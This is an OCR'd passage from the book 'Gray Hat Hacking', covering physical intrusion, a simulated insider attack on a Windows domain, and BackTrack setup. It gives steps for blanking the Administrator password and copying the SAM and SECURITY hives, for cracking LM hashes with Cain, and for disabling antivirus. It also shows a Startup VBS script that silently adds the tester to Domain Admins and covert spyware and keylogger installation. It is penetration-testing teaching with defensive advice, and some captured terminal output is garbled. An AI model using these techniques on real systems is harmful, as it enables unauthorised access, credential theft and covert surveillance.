between the keeper and the security loop, as shown in the right frame of Figure 5-4.
With both shims in place, the security hoop may now be pulled open. Beverage can
shims are very fragile and will most likely only work once or twice before tearing apart
inside the lock. This can permanently damage the lock and prevent it from opening
again even with the key.

Once You Are Inside

The goal of entering the building is to gain access to sensitive information as part of the
penetration test. Once you are past the perimeter access controls of the building, you
have to find your way to a location where you can work undisturbed or locate assets
you want to physically remove from the building. Either way, you'll likely go into the
building without knowing the floor plan or where specific assets are located. Walking
blindly around searching for a place to work is the most difficult part of the physical
intrusion process. It's also when you're most likely to be exposed or confronted.

Unless your goal is to take backup tapes or paper, you'll probably want access to the
data network. A good place to get that access is in a conference room, as most of them
have data network ports available. A company that is following industry best practices
will have the data ports in their conference rooms on a guest network that is not di-
rectly connected to the corporate local area network. If this is the case, you can still use
the conference room as a base of operations while you attempt to gain access to the
data network. You may consider using the Trojan USB key technique described in Chap-
ter 4 to quickly establish remote access.

Another possible location to operate from is an empty cubicle or office. Many com-
panies have surplus work space from downsizing or for future growth. It’s easy to “move
in” to one of these over lunch or first thing in the morning. You will have to have a
cover story handy, and your window of opportunity may be limited, but you will most
likely have full access to the network or perhaps even a company computer left in the
cubicle or office. Techniques for utilizing company computing assets for penetration
testing are discussed in Chapter 6.



Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition

108

Defending Against Physical Penetrations

You might assume that protecting a company’s informational assets from a physical
intrusion is covered under its existing security measures, but often that'’s simply not the
case. Understandably, these same assets must be available to the employees so that they
can perform their work. All an attacker has to do to obtain physical access to the data
network infrastructure is to look convincingly like an employee or like they belong in
the building for another reason. With physical access, it is much easier to gain unau-
thorized access to sensitive information.

In order to successfully defend against a physical penetration, the target company
must educate its employees about the threat and train them how best to deal with it.
Data thefts often are not reported because the victim companies seek to avoid bad press,
in which cases the full extent of the threat is not experienced by the people handling the
data. In addition, employees often don’t understand the street value of the data they
handle. The combination of hidden threat and unperceived value makes training in this
area critically important for a successful policy and procedure program.

Perhaps the single most effective policy to ensure that an intruder is noticed is one
that requires employees to report or inquire about someone they don’t recognize. Even
employees at very large corporations encounter a regular group of people on a daily
basis. If a policy of inquiring about unfamiliar faces can be implemented, even if they
have a badge, it will make a successful intrusion much more difficult. This is not to say
that an employee should directly confront a person who is unfamiliar to them, as they
may actually be a dangerous intruder. That's the job of the company's security depart-
ment. Rather, employees should ask their direct supervisor about the person.

Other measures that can help mitigate physical intrusions include the following:

e Key card turnstiles

¢ Manned photo ID checkpoints

e Enclosed or fenced smoking areas

¢ Locked loading area doors, equipped with doorbells for deliveries
e Mandatory key swipe on entry/re-entry

e Rotation of visitor badge markings daily

e Manned security camera systems



Insider Attacks

In the previous two chapters, we've discussed some up-close and personal ways of ob-
taining access to information assets during a penetration test by using social engineer-
ing and physical attacks. Both are examples of attacks that a motivated intruder might
use to gain access to the information system infrastructure behind primary border de-
fenses. In this chapter, we'll discuss attacking from the perspective of someone who
already has access to the target’s information systems: an insider.

Testing from the insider perspective is a way to assess the effectiveness of security
controls that protect assets on the local network. Unauthorized insider access is a com-
mon factor in identity theft, intellectual property theft, stolen customer lists, stock ma-
nipulation, espionage, and acts of revenge or sabotage. In many cases, the actors in such
crimes are privileged network users, but in some cases—identity theft, for instance—the
accounts used might have minimal privileges and may even be temporary.

The reasons to conduct a simulated attack from the insider perspective are many.
Foremost among those reasons is that you can learn many details about the overall se-
curity posture of the target organization that you can’t learn from an external-only
penetration test, especially one that doesn’t successfully subvert the border controls.
Even in a large company, the insiders represent a smaller field of potential attackers
than the public Internet, but the potential for damage by insiders is demonstrably
greater. The insider typically has a working knowledge of the company’s security con-
trols and processes as well as how and where valuable information is stored.

In this chapter, we discuss the following topics:

¢ Why simulating an insider attack is important

e Conducting an insider attack

e Defending against insider attacks

Why Simulating an Insider Attack Is Important

The importance of assessing an organization’s vulnerability to attack from the inside is
virtually self-evident. With the exception of the very small company, hired employees
are essentially strangers a company pays to perform a task. Even when background
checks are performed and references are checked, there is simply no guarantee that the
people tasked with handling and processing sensitive data won't steal or misuse it. The
higher the privilege level of the user, the more trust that is placed in that person and the
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more risk that is incurred by the company. For this reason, companies often spend a
significant amount of money on security controls and processes designed to control
access to their information assets and IT infrastructure.

Unfortunately, most companies do not test these same systems and processes un-
less they are in a regulated industry such as banking or they've been the victim of an
insider attack. Even worse, many companies assign the task of testing the controls to
highly privileged employees, who actually pose the greatest risk. In order for an organi-
zation to truly understand how vulnerable it is to an attack by an insider, it must have
an independent third party test its internal controls.

Conducting an Insider Attack

Conducting an attack from the inside can be accomplished by using familiar tools and
techniques, all of which are found in this book. The primary difference is that you will
be working inside the target company at a pre-specified privilege level of an employee,
complete with your own network account. In most cases, you can arrange for a private
place to work from, at least initially, but in some cases you may have to work out in the
open in the presence of other employees. Both scenarios have their advantages; for ex-
ample, whereas working in private allows you to work undisturbed, working with other
employees allows you to get up to speed on security procedures more quickly.

No matter where you wind up working, it's a given that you must be able to explain
your presence, as any newcomer is likely be questioned by curious coworkers. These
encounters are far less stressful than encounters during social engineering or physical
intrusions because you are legitimately working for someone at the target company and
have an easy cover story. In most cases, a simple “consulting” explanation will suffice.
In all cases, the fewer people at the target company that are aware of your activities, the
more realistic the test will be. If the help desk staff or system administrators are aware
that you are a gray hat posing as an employee with the intent of subverting security
controls, they will be tempted to keep a close eye on what you're doing or, in some
cases, even give you specially prepared equipment to work from.

For this chapter, we’'ll examine a hypothetical company call ComHugeCo Ltd. We've
been given a Windows domain user account called MBryce with minimal privileges.
We'll attempt to gain domain administrator rights in order to search and access sensi-
tive information.

Tools and Preparation

Each test will be slightly different depending on the environment you are working
within. It's best to work from equipment supplied by the target organization and begin
with very little knowledge of the security controls in place. You should arrive prepared
with everything you need to conduct your attack since you may not have an opportu-
nity to download anything from the outside once you're in. At the time of this writing,
most companies use content filters. A good network security monitoring (NSM) system
or intrusion detection system (IDS) operator will also notice binary downloads coming
from hacking sites or even unfamiliar IP addresses. Have all the tools you are likely to
need with you on removable media such as a USB drive or CD.
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Since you may find the equipment provided fully or partially locked down, hard-
ened, or centrally controlled, you should also have bootable media available to help
you access both the individual system and the network at a higher privilege level than
afforded your provided account. In the most difficult cases, such as a fully locked CMOS
and full disk encryption, you may even want to bring a hard drive with a prepared op-
erating system on it so that you can attempt to gain access to the subject network from
the provided equipment. Having your tools with you will help you stay under the radar.
We'll discuss a few practical examples in the following sections.

Orientation

The most common configuration you'll encounter is the Windows workstation, a stand-
alone PC or laptop computer running a version of Microsoft Windows. It will most
likely be connected to a wired LAN and utilize the Windows domain login. You'll be
given a domain account. Log in and have a look around. Take some time to “browse”
the network using the Windows file explorer. You may see several Windows domains as
well as drives mapped to file servers, some of which you may already be connected to.
The whole point of the insider attack is to find sensitive information, so keep your eyes
open for servers with descriptive names such as “HR” or “Engineering.” Once you feel
comfortable that you know the bounds of your account and have a general view of the
network, it's time to start elevating your privilege level.

Gaining Local Administrator Privileges

The local operating system will have several built-in accounts, at least one of which will
be highly privileged. By default, the most privileged account will be the Administrator
account, but it's not uncommon for the account to be renamed in an attempt to ob-
scure it from attackers. Regardless of what the privileged account names are, they will
almost always be in the Administrators group. An easy way to see what users are mem-
bers of the local Administrators group of an individual machine is to use the built-in
net command from the command prompt:

net localgroup Administrators

In addition to the Administrator account, there will often be other privileged ac-
counts owned by the help desk and system administration groups within the company.
For the purposes of our example, our machine uses the Windows default Administrator
account.

The easiest way to gain access to the Administrator account is to reset its password.
In order to do this while the operating system is running, you'd need to know the exist-
ing password, which you probably won’t. Windows protects the file that contains the
password hashes, the SAM file, from being accessed while the OS is running. While
there are exploits that allow access to the file’s contents while Windows is running, do-
ing so may set off an alert if a centrally managed enterprise antivirus system is in place.
Dumping the SAM file only gives you the password hashes, which you then will have
to crack. While recovering the local Administrator password is on our agenda, we'll re-
move the password from the Administrator account altogether. We'll collect the SAM
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file and hashes along the way for cracking later. To do this, we'll boot the system from
a CD or USB drive and use the Offline NT Password and Registry Editor tool (referred
to hereafter as “Offline NT Password” for short).

Most computers boot from removable media such as a CD-ROM or floppy disk
when they detect the presence of either. If nothing is detected, the machine then boots
from the first hard drive. Some machines are configured to bypass removable media
devices but still provide a boot menu option during power-up. This menu allows the user
to select which device to boot from. Our example uses the Phoenix BIOS, which allows
the user to select a boot device by hitting the ESC key early in the boot process. In the
worst case, or the best configurations, the boot menu will be password protected. If
that's the case, you'll have to try dumping the SAM file with an exploit such as pwdump?7
while the machine is running. Alternatively, you can install a hard drive of your own as
primary to boot from and then access the target Windows drive as a secondary to re-
cover the SAM file.

Offline NT Password is a stripped-down version of Linux with a menu-driven inter-
face. By default, it steps you through the process of removing the Administrator account
password. While we have the Windows file system accessible, we'll also grab the SAM
file before we remove the Administrator password. If you choose to boot Offline NT
Password from a CD, make sure that you first insert a USB thumb drive to copy the SAM
file to. This will make mounting it much easier.

Using Offline NT Password and Registry Editor

Offline NT Password runs in command-line mode. Once booted, it displays a menu-
driven interface. In most cases, the default options will step you through mounting the
primary drive and removing the Administrator account password, as described next.

Step One The tool presents a list of drives and makes a guess as to which one con-
tains the Windows operating system. As you can see from Figure 6-1, it also detects in-
serted USB drives. This makes mounting them much easier, because if you insert one
later, the tool often will not create the block device (/dev/sdb1) necessary to mount it.

In this case, the boot device containing Windows is correctly identified by default,
so simply press ENTER to proceed.

Step Two Next, the tool tries to guess the location of the SAM file. In Figure 6-2, we
can see that it is correctly identified as located in WINDOWS/system32/config.

Figure 6-1 *_Step
Selecting the boot Disks:
. Disk ~sdevrssda: 8585 MEB. 858399345392 byvtes
device Disk sdewrs/sdb: 2847 HMB 2047678976 bvtes REMOUABLE
Candidate HWindows partitions found:
i : Adevssdal 21i8iMEB BOOT
2 - Adevs/sdbil 1958MME (USB7?2
Flease $$lect rartition by number or
= qui
3 = gutomatically start disk driwvers
m = manuall select disk drivers to_ load
£ = etch additional drivers from floppy ~# ush
a = show all artitions found
1_= show ¥rop able Hindows (HTFS5) partitions only
SBelect: [1
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Figure 6-2
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Again, the correct action is preselected from the menu by default. Before continu-
ing, however, we want to copy the SAM file to the USB drive. Since Offline NT Password
is built on a simple Linux system, we can invoke another pseudo-terminal by pressing
ALT-F2. This opens another shell with a command prompt. Mount the USB drive using
the device name identified in step one and shown in Figure 6-1:

mount /dev/sdbl /mnt

Next, copy the SAM and SECURITY files to the USB drive. Offline NT Password
mounts the boot disk in the directory /disk.

cp /drive/WINDOWS/system32/config/SAM /mnt
cp /drive/WINDOW/system32/config/SECURITY /mnt

Make sure you perform a directory listing of your USB drive to confirm you've cop-
ied the files correctly, as shown here:

nt
vstemdZ2/confi

# mount Adevssdbil Am

# cp Adisk/’HIHNDOHWHS /s gs/5AM smnt

g ?P 5&1%R/HINDDHS/SvstemSE/cunflg/SECURITY Smnt
s Amn

disk launchu3l _ exe security

%Dcume"i sam system

Now return to the menu on pseudo-terminal one by pressing ALT-F1, and then press
ENTER to accept the default location of the SAM file.

Step Three The tool will now look into the SAM file and list the accounts. It will
then give you the option to remove or replace the selected account password. By de-
fault, the Administrator account will be selected, as shown here:

{r========<{» chntpw Hain Interactive Menu {r========(3>
Loaded hives: {SAM> <{system?> {SECURITY>

1 - Edit user data_and passwords

2 - Svskey status & chan

3 - RecovervConsole settlngs

9 - Reglstrv editor now_ with full write supportt

a - Guit (you will be asked if there is something to sawve)

Hhat to do? [11 -

i RID - u H min
HC E Administrator i ADMIHN
i B1f5 | Guest ) H
i @83e8 HelBHsslstant H
i 83ea s5uUp DRT_333945aB H
Select: 2 - list users, @x<{RID: - Use
or SlmPlV enter %h username to change: [Admini
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Once selected, the default option is to simply remove the password, as shown next.
Although there is an option to reset the password to one of your own choosing, this is
not recommended because you risk corrupting the SAM file. Press ENTER to accept the
default.

RID : 8588 [Beif4]
Username: Administrator
fullname: . R R
comment I Built-in account for administering the computersdomain
homedir
User is member of 1 groups: R
200802280 - Administrators {(which has 2 membersl
Account bits: BxB8z2ia@a = R
L 1 Disabled R i [_1 Homedir req. i [ 1 Passwd not req. |
[ 1 Temp. duplicate | [X] Hormal account i [ 1 HHS5 account i
[ 1 Domain trust ac | [ 1 Hks trust act i [ 1 Srv_ _trust _act H
[X] Pwd don’t _expir | [ 1 Auto lockout i L 1 ftunknown B8x88) H
[ 1 (unknown @xi i L 1 {unknown @:x28) i L1 {unknown 848> H
Failed login count: B8, while max tries is: @
Total login count: 2
- - - _—- User_ Edit Menu:
1 - Clear (blank)_ wuser password R R R
2 - Edit set newl) user password {(careful with this on XP oxr Uistal
3 - Promote user (make user an administrator
{4 - Unlock and enable user account? [seems unlocked already]
q_ - Quit editing user. ba to user select
Select: [a
Password clearedt

Select: ¢ % - list uwusers, Bx{RID> - User with RID Chex?
or simply enter %he username to change: [Administratorl]

Step Four Once the password is successfully removed from the SAM file, it must be
written back to the file system. As shown here, the default option will do this and report
success or failure, so press ENTER:

Select: ¢ % - list users, Bx{RID> - User with RID {(hex)
or simply enter ihe uwsername to change: [Administratorl ¢
{¥========«2>» chntpw Hain Interactive Menu {r=-=—=—=====d(3>
Loaded hiwves: {SAHM» {swvstem?> {SECURITY>

1 - Edit user data_and prasswords

2 - Swvskey status & change

3 - REGDUEPVCD“SDIE settings

89 - Reglstrv editor now with full write supportt

qa - Quit (vou will be asked if there is something to sawve)
Hhat to do? [11 -> q
Hives that have changed:

e

a <{SAM> - OHK

About to wrlte f:le(s) back? Do it? L[nl @ v
Hriting SAM

#*##¥% EDIT COMPLETE M

You can_try agaln if it somehow failed., or vou selected wrong
Hew run? [nl —

With the SAM file successfully written back to the file system, simply press ENTER
for the default option to not try again, and the menu will exit. Remove the CD and
reboot the system. You will now be able to log in as the local Administrator with no
password.

Recovering the Administrator Password

Despite widely publicized best practices, in more cases than not the LAN Manager (LM)
hash for the Administrator account will still be present on the local machine. This hash
can easily be cracked to reveal the local Administrator account password. This password
will almost never be unique to just one machine and will work on a group of comput-
ers on the target network. This will allow virtually full control of any peer computer on
the network that shares the password.
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Since you're on the client’s site and using their equipment, your choices may be
more limited than your lab, but options include:

¢ Bringing rainbow tables and software with you on a large USB hard drive
¢ Using a dictionary attack with Cain or LOphtCrack
e Taking the SAM file back to your office to crack overnight

e Sending the SAM file to a member of your team on the outside

If you are working as a team and have someone available offsite, you may want to
send the hashes to your team across the Internet via e-mail or web-based file sharing.
This does present a risk, however, as it may be noticed by vigilant security personnel or
reported by advanced detective controls. If you do decide to send the hashes, you should
strongly encrypt the files, not only to obscure the contents but also to protect the hash-
es from interception or inadvertent disclosure. In our example, we’ll use Cain and rain-
bow tables from a USB hard drive running on the provided equipment now that we can
log in as the local Administrator with no password.

Disabling Antivirus

Cain, like many gray hat tools, is likely to be noticed by almost any antivirus (AV) prod-
uct installed on the system you're using. If Cain is detected, it may be reported to the
manager of the AV product at the company. Disabling AV software can be accomplished
in any number of ways depending on the product and how it’s configured. The most
common options include:

e Uninstall it (may require booting into Safe Mode)
e Rename the files or directories from an alternative OS (Linux)

e Suspend the process or processes with Sysinternals Process Explorer

An AV product is typically included in the standard disk image used during the
workstation provisioning process. Finding the AV product on the computer is usually a
simple process, as it likely has a user-level component such as a tray icon or an entry in
the Programs menu off the Start button. In their simplest forms, AV products may sim-
ply be removed via the Add or Remove Programs feature located in the Control Panel.
Bear in mind that after you remove the AV product, you are responsible for the com-
puter’s safety and behavior on the network, as AV is a first-line protective control. The
risk is minimal because typically you're not going to use the computer to access web-
sites, read e-mail, instant message, or perform other high-risk activities.

If you are having difficulty uninstalling the AV product, try booting into Safe Mode.
This will limit which applications are loaded to a minimum, which in many cases will
negate the active protective controls built into AV products allowing you to uninstall
them.

If the product still will not uninstall even while in Safe Mode, you may have to boot
the computer with an alternative OS that can mount an NTFS file system in read/write
mode, such as Ubuntu or Knoppix. Once the NTFS is mounted under Linux, you can
then rename the files or directory structure to prevent AV from loading during the boot
process.
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As an alternative, you may suspend the AV processes while you work. This may be
necessary if the AV product is difficult to uninstall from the local machine without per-
mission from the centralized application controller located somewhere else on the net-
work. In some cases where an enterprise-level product is in use, the AV client will be
pushed back onto the workstation and reinstalled if it's not detected during periodic
sweeps. You can use Sysinternals Process Explorer, procexp, to identify and suspend the
processes related to the AV product. You may need to play with permissions to achieve
this. To suspend a process using procexp, simply right-click the desired process from the
displayed list and select Suspend from the drop-down menu, as shown in Figure 6-3. To
resume the process, right-click it and select Restart from the drop-down menu.

While the processes are suspended, you will be able to load previously prohibited
tools, such as Cain, and perform your work. Keep in mind that you must remove your
tools when you are finished, before you restart the AV processes, or their presence may
be reported as an incident.

Raising Cain

Now that AV is disabled, you may load Cain. Execute the ca_setup.exe binary from your
USB thumb drive or CD and install Cain. The install process will ask if you would like
to install WinPcap. This is optional, as we will not be performing password sniffing or
man-in-the-middle attacks for our simulated attack. Cain is primarily a password-
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Figure 6-3 Process Explore
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auditing tool. It has a rich feature set, which could be the subject of an entire chapter,
but for our purposes we're going to use Cain to

e Recover the Administrator password from the SAM file
e Identify key users and computers on the network
¢ Locate and control computers that use the same local Administrator password

e Add our account to the Domain Administrators group

Recovering the local Administrator Password

With Cain running and the USB drive containing the recovered SAM file from the previ-
ous section inserted, click the Cracker tab, and then right-click in the empty workspace
and select Add to List. Click the Import Hashes from a SAM Database radio button and
select the recovered SAM file from the removable drive, as shown here:

Add NTlashes from 3]

" Import Hazhes from local spstem
-

" Import Hashes from a text file

| .|

* Import Hashes from a SAM database
S&M Filename:

T EI

Book Key [HEX]

| _
Cancel Mext -

Next you'll need the boot key. This is used to unlock the SAM file in the event it is
encrypted, as is the case in some configurations. Click the selection icon (...) to the
right of the Boot Key (HEX) text box, and then click the Local System Boot Key button,
as shown here:

[7:35a84 1t |

Boot Key [HEX]

i -
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Select and copy the displayed key, click Exit, and then paste the key into the Boot Key
(HEX) text box. Click the Next button and the account names and hashes will appear
in the Cracking window.

In our example, we're going to recover the password using a cryptanalysis attack on
the LM hashes. Using presorted rainbow tables, on a 1TB USB hard drive in this case,
and Cain’s interface to the Rainbow Crack application, most passwords can be recov-
ered in under 30 minutes. Right-click in the workspace of the Cracker section of Cain
and select Cryptanalysis Attack | LM Hashes | via RainbowTables (RainbowCrack), as
shown here:

w | B, %) M
& cracker |48 Traceraute [N coou |4 wireless
i}

LM Password | <& | NT Password | LM Hash | MT Has
w~| Dictionary Attack 4

* empky * Brute-Force Atkack 4

LM ]
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ActiveSync 3 MTLM Hashes

MTLM Hashes + challenge
r L]

via RainbowTables (OphCrack)
via RainbowTables {RainbowCrack)
via FastLM RainbowTables {Winrtgen)

* emply * *
Rainbowcrack-Online 3

* v v v

Select Al

Next you'll be prompted to select the rainbow table files to process, in this case
from the USB device. After the processing is complete, found passwords will be dis-
played in the Cracker section next to the account name. The lock icon to the left will
change to an icon depicting a ring of keys, as shown here:

File Wiew Configure Tools Help
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Now that we know what the original local Administrator password was, we can
change it back on our machine. This will allow us to easily identify other machines on
the network that use the same local Administrator password as we continue to investi-
gate the network with Cain.

Identifying Who’s Who

Cain makes it easy to identify available domains, domain controllers, database servers,
and even non-Windows resources such as Novell NetWare file servers. Cain also makes
it easy to view both workstation and server machine names. Most companies use some
sort of consistent naming convention. The naming convention can help you identify
resources that likely store or process sensitive information; for example, a server named
paychex might be worth looking at closely.
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Using Cain’s enumeration feature, it is possible to view user account names and any
descriptions that were provided at the time the accounts were created. Enumeration
should be performed against domain controllers because these servers are responsible
for authentication and contain lists of all users in each domain. Each network may
contain multiple domain controllers, and they should each be enumerated. In some
cases, the primary domain controller (PDC) may be configured or hardened in such a
way that username enumeration may not be possible. In such cases, it is not unusual
for a secondary or ternary domain controller to be vulnerable to enumeration.

To enumerate users from a domain controller with Cain, click the Network tab. In
the left panel, drill down from Microsoft Windows Network to the domain name you're
interested in, and then to Domain Controllers. Continue to drill down by selecting the
name of a domain controller and then Users. When the dialog box appears asking Start
Users Enumeration, click Yes and a list of users will appear in the right panel, as shown
in Figure 6-4.

From this hypothetical list, the BDover account stands out as potentially being high-
ly privileged on the COMHUGECO domain because of its PC Support designation. The
DAIduk and HJass accounts stand out as users likely to handle sensitive information. To
see what domain groups BDover is a member of, open a command prompt and type

net user BDover /domain
To see which accounts are in the Domain Admins group, type
net group "domain admins" /domain

In our hypothetical network example, BDover is a member of the Domain Admins
group. We now want to locate his computer. A simple way to do this is by using the
PsLoggedOn tool from the Sysinternals Suite. Execute the command

psloggedon.exe -1lx BDover
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Figure 6-4 PDC User Enumeration with Cain
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This will search through every computer in the domain in an attempt to find BDover
locally logged on. Depending on the number of computers in the domain, this may
take quite a while or simply be impractical. There are commercial help desk solutions
available that quickly identify where a user is logged on. In lieu of that, we can check
the computer names and comments for hints using Cain.

By clicking the All Computers selection under the COMHUGECO domain in the
left panel, a list of computers currently connected to the domain is displayed. In addi-
tion to the computer name, the comments are displayed in the rightmost column. As
we can see here, a computer described as “Bob’s Laptop” could be BDover's:
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Using PsLoggedOn, we can check to see if BDover is logged into the computer de-
scribed as “Bob’s Laptop” by issuing the following command:

psloggedon \\comhugec-x31lzfp

Next, by clicking the COMHUGEEC-X31ZFP computer in the left pane of Cain, it
will attempt to log in using the same account and password as the machine it’s running
from. In our case, that's the local Administrator account and recovered password. The
account name that Cain uses to log into the remote computer is displayed to the right
of the name. If Cain can't log in using the local machine’s credentials, it will attempt to
log in using anonymous. In our example, the local Administrator password is the same,
as shown here:
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Leveraging local Administrator Access

So far, we have recovered the shared local Administrator password, identified a privi-
leged user, and found the user’s computer. At this point, we have multiple options. The
right option will vary with each environment and configuration. In our situation, it
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would be advantageous to either add our account to the Domain Admins group or re-
cover the BDover domain password. Either will allow us access to virtually any com-
puter and any file stored on the network and protected by Active Directory.

Joining the Domain Admins Group Adding a user to the Domain Admins
group requires membership in that group. We know that user BDover is a member of
that group, so we'll try to get him to add our MBryce account to the Domain Admins
group without his knowledge. By creating a small VBS script, go.vbs in this case, and
placing it in the Startup directory on his computer, the next time he logs in, the script
will run at his domain permission level, which is sufficient to add our account to the
Domain Admins group. The go.vbs script is as follows:

Set objShell = WScript.CreateObject ("WScript.Shell")
objShell.Run "net group ""Domain Admins"" MBryce /ADD /DOMAIN",1

To place the script in the Startup directory, simply map the C$ share using the re-
covered local Administrator password. This can be done from the Cain interface, from
Windows Explorer, or from the command prompt with the net use command. In our
example, the file should be placed in C:\Documents and Settings\BDover\Start Menu\
Programs\Startup. You will have to wait until the next time BDover logs in, which may
be the following day. If you are impatient, you can reboot the computer remotely using
the Sysinternals PsShutdown tool, but you do so at the risk of arousing the suspicion of
the user. Confirm your membership in the Domain Admins group using the net group
command and don’t forget to remove the VBS script from the remote computer.

Recovering the User’s Domain Password The simplest way to recover the
user’s password, BDover in this case, is to use commercial activity-logging spyware.
SpectorSoft eBlaster is perfect for the job and is not detected by commercial AV prod-
ucts. It can be installed in one of two ways: by using a standard installation procedure
or by using a preconfigured silent installation package. The silent installation option
costs more, $99 vs. $198, but will be easier to use during an insider attack exercise.
Bring the binary with you because downloading it over the client’'s LAN may get you
noticed. To install the silent binary, place it in the Startup directory as described in the
previous section or use PsExec from Sysinternals. If you must use the normal installa-
tion procedure, you'll have to wait until the user is away from their computer and use
Microsoft Remote Desktop Protocol (RDP ) or DameWare. DameWare is a commercial
remote desktop tool that can install itself remotely on the user’'s computer and remove
itself completely at the end of the session. If the user’s computer is not configured for
terminal services, you can attempt to enable the service by running the following com-
mand line remotely with Sysinternals PsExec:

psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal
server" /f /v fDenyTSConnections /t REG_DWORD /d

SpectorSoft eBlaster reports are delivered via e-mail at regular intervals, typically 30
minutes to one hour, and record all login, website, e-mail, and chat activity. Once in-
stalled, eBlaster can be remotely managed or even silently uninstalled through your
account on the SpectorSoft website.
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It is also possible to collect keystrokes using a physical inline device such as the
KeyGhost. The device comes in three styles: inline with the keyboard cable (as shown
in Figure 6-5), as a USB device, and as a stand-alone keyboard. Each version collects
and stores all keystrokes typed. Keystrokes are retrieved by typing an unlock code with
the device plugged into any computer; it will dump all stored data to a log file. Obvi-
ously, this is not a good solution for a portable computer, but on a workstation or a
server, it's unlikely to be detected.

Finding Sensitive Information Along the way, you may find some users or serv-
ers you suspect contain sensitive information. Workstation and server names and de-
scriptions can help point you in the right direction. Now that we have the keys to the
kingdom, it's very easy to access it. A tool that can help you locate further information
is Google Desktop. Since we're now a domain administrator, we can map entire file
server drives or browse any specific user directory or workstation we think may contain
valuable information. Once mapped, we can put Google Desktop to work to index the
files for us. We can then search the indexed data by keywords such SSN, Social Security,
Account, Account Number, and so forth. We can also search by file types, such spread-
sheets or CAD drawings, or by any industry-specific terminology. Google Desktop can
also help pinpoint obscure file storage directories that may not have been noticed any
other way during the testing process.

References

Cain www.oxid.it/

DameWare www.dameware.com/

Google Desktop desktop.google.com/

KeyGhost www.keyghost.com/
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Figure 6-5 KeyGhost device placement
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Defending Against Insider Attacks

In order for a company to defend itself against an insider attack, it must first give up the
notion that attacks only come from the outside. The most damaging attacks often come
from within, yet access controls and policies on the internal LAN often lag far behind
border controls and Internet use policy.

Beyond recognizing the immediate threat, perhaps the most single useful defense
against the attack scenario described in this chapter is to eliminate LM hashes from
both the domain and the local SAM files. With LM hashes present on the local worksta-
tion and shared local Administrator passwords, an attack such as this can be carried out
very quickly. Without the LM hashes, the attack would take much longer and the gray
hat penetration testers would have to take more risks to achieve their goals, increasing
the chances that someone will notice.

In addition to eliminating LM hashes, the following will be effective in defending
against the insider attack described in this chapter:

e Disable or centrally manage USB devices
e Configure CMOS to only boot from the hard drive
e Password protect CMOS setup and disable/password protect the boot menu

e Limit descriptive information in user accounts, computer names, and
computer descriptions

e Develop a formulaic system of generating local Administrator passwords so
each one is unique yet can be arrived at without a master list

e Regularly search all systems on the network for blank local Administrator
passwords

e Any addition to the Domain Admins or other highly privileged group should
generate a notice to other admins, this may require third-party software or
customized scripts
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[CHAPTER

Using the BackTrack Linux
Distribution

This chapter shows you how to get and use BackTrack, a Ubuntu (Debian) Linux distri-
bution for penetration testers that can run from DVD, USB thumb drive, or hard drive
installation. In this chapter, we cover the following topics:

e BackTrack: the big picture

¢ Installing BackTrack to DVD or USB thumb drive

e Using the BackTrack ISO directly within a virtual machine
e Persisting changes to your BackTrack installation

e Exploring the BackTrack Boot Menu

e Updating BackTrack

BackTrack: The Big Picture

BackTrack is a free, well-designed penetration-testing Linux workstation built and re-
fined by professional security engineers. It has all the tools necessary for penetration
testing, and they are all configured properly, have the dependent libraries installed, and
are carefully categorized in the start menu. Everything just works.

BackTrack is distributed as an ISO disk image that can be booted directly after being
burned to DVD, written to a removable USB drive, booted directly from virtualization
software, or installed onto a system'’s hard drive. The distribution contains over 5GB of
content but fits into a 1.5GB ISO by the magic of the LiveDVD system. The system does
not run from the read-only ISO or DVD media directly. Instead, the Linux kernel and
bootloader configuration live uncompressed on the DVD and allow the system to boot
normally. After the kernel loads, it creates a small RAM disk, unpacks the root-disk im-
age (initrd.gz) to the RAM disk and mounts it as a root file system, and then mounts
larger directories (like /usr) directly from the read-only DVD. BackTrack uses a special
file system (casper) that allows the read-only file system stored on the DVD to behave
like a writable one. Casper saves all changes in memory.

BackTrack itself is quite complete and works well on a wide variety of hardware
without any changes. But what if a driver, a pen-testing tool, or an application you nor-
mally use is not included? Or what if you want to store your home wireless access point
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encryption key so you don’t have to type it in with every reboot? Downloading software
and making any configuration changes work fine while the BackTrack DVD is running,
but those changes don’t persist to the next reboot because the actual file system is read-
only. While you're inside the “Matrix” of the BackTrack DVD, everything appears to be
writable, but those changes really only happen in RAM.

BackTrack includes several different configuration change options that allow you to
add or modify files and directories that persist across BackTrack LiveDVD reboots. This
chapter covers different ways to implement either boot-to-boot persistence or one-time
changes to the ISO. But now let’s get right to using BackTrack.

Installing BackTrack to DVD
or USB Thumb Drive

You can download the free BackTrack ISO at www.backtrack-linux.org/downloads/.
This chapter covers the bt4-final.iso ISO image, released on January 11, 2010. Micro-
soft’s newer versions of Windows (Vista and 7) include built-in functionality to burn an
ISO image to DVD, but Windows XP by default cannot. If you'd like to make a Back-
Track DVD using Windows XP, you'll need to use DVD-burning software such as Nero
or Roxio. One of the better free alternatives to those commercial products is ISO Re-
corder from Alex Feinman. You'll find that freeware program at http://isorecorder.alex-
feinman.com/isorecorder.htm. Microsoft recommends ISO Recorder as part of its
MSDN program. After you download and install ISO Recorder, you can right-click ISO
file and select the Copy Image to CD/DVD option, shown in Figure 7-1, and then click
Next in the ISO Recorder Record CD/DVD dialog box (see Figure 7-2).

You might instead choose to make a bootable USB thumb drive containing the
BackTrack bits. Booting from a thumb drive will be noticeably faster and likely quieter
than running from a DVD. The easiest way to build a BackTrack USB thumb drive is to
download and run the UNetbootin utility from http://unetbootin.sourceforge.net.
Within the UNetbootin interface, shown in Figure 7-3, select the BackTrack 4f distribu-
tion, choose a USB drive to be written, and start the download by clicking OK. After
downloading the ISO, UNetbootin will extract the ISO content to your USB drive, gen-
erate a syslinux config file, and make your USB drive bootable.

§ - L

I\./”\./I | . <« Local Disk (C:}) » jness » iso - | 4 | | Search iso L2
Organize » [ ) Open « Burn New folder =« O Eéil
r Favorites i Mame Date modified Type
Bl Desktop 3 1 btd-final 1/11/20109:31 AM ~ Disc Image File
4 Downloads
, Dropbox Copy image to CD/DVD >
& My Site 4 SCaM T Chapo Nt Frotection
=| Recent Places  _ Open with (3 5 '
. W . 4

Figure 7-1 Open with ISO Recorder
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Figure 7-2 ISO Recorder main dialog box
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Using the BackTrack ISO Directly
Within a Virtual Machine

VMware Player and Oracle’s VM VirtualBox are both free virtualization solutions that
will allow you to boot up a virtual machine with the ISO image attached as a virtual
DVD drive. This simulates burning the ISO to DVD and booting your physical machine
from the DVD. This is an easy and quick way to experience BackTrack without “invest-
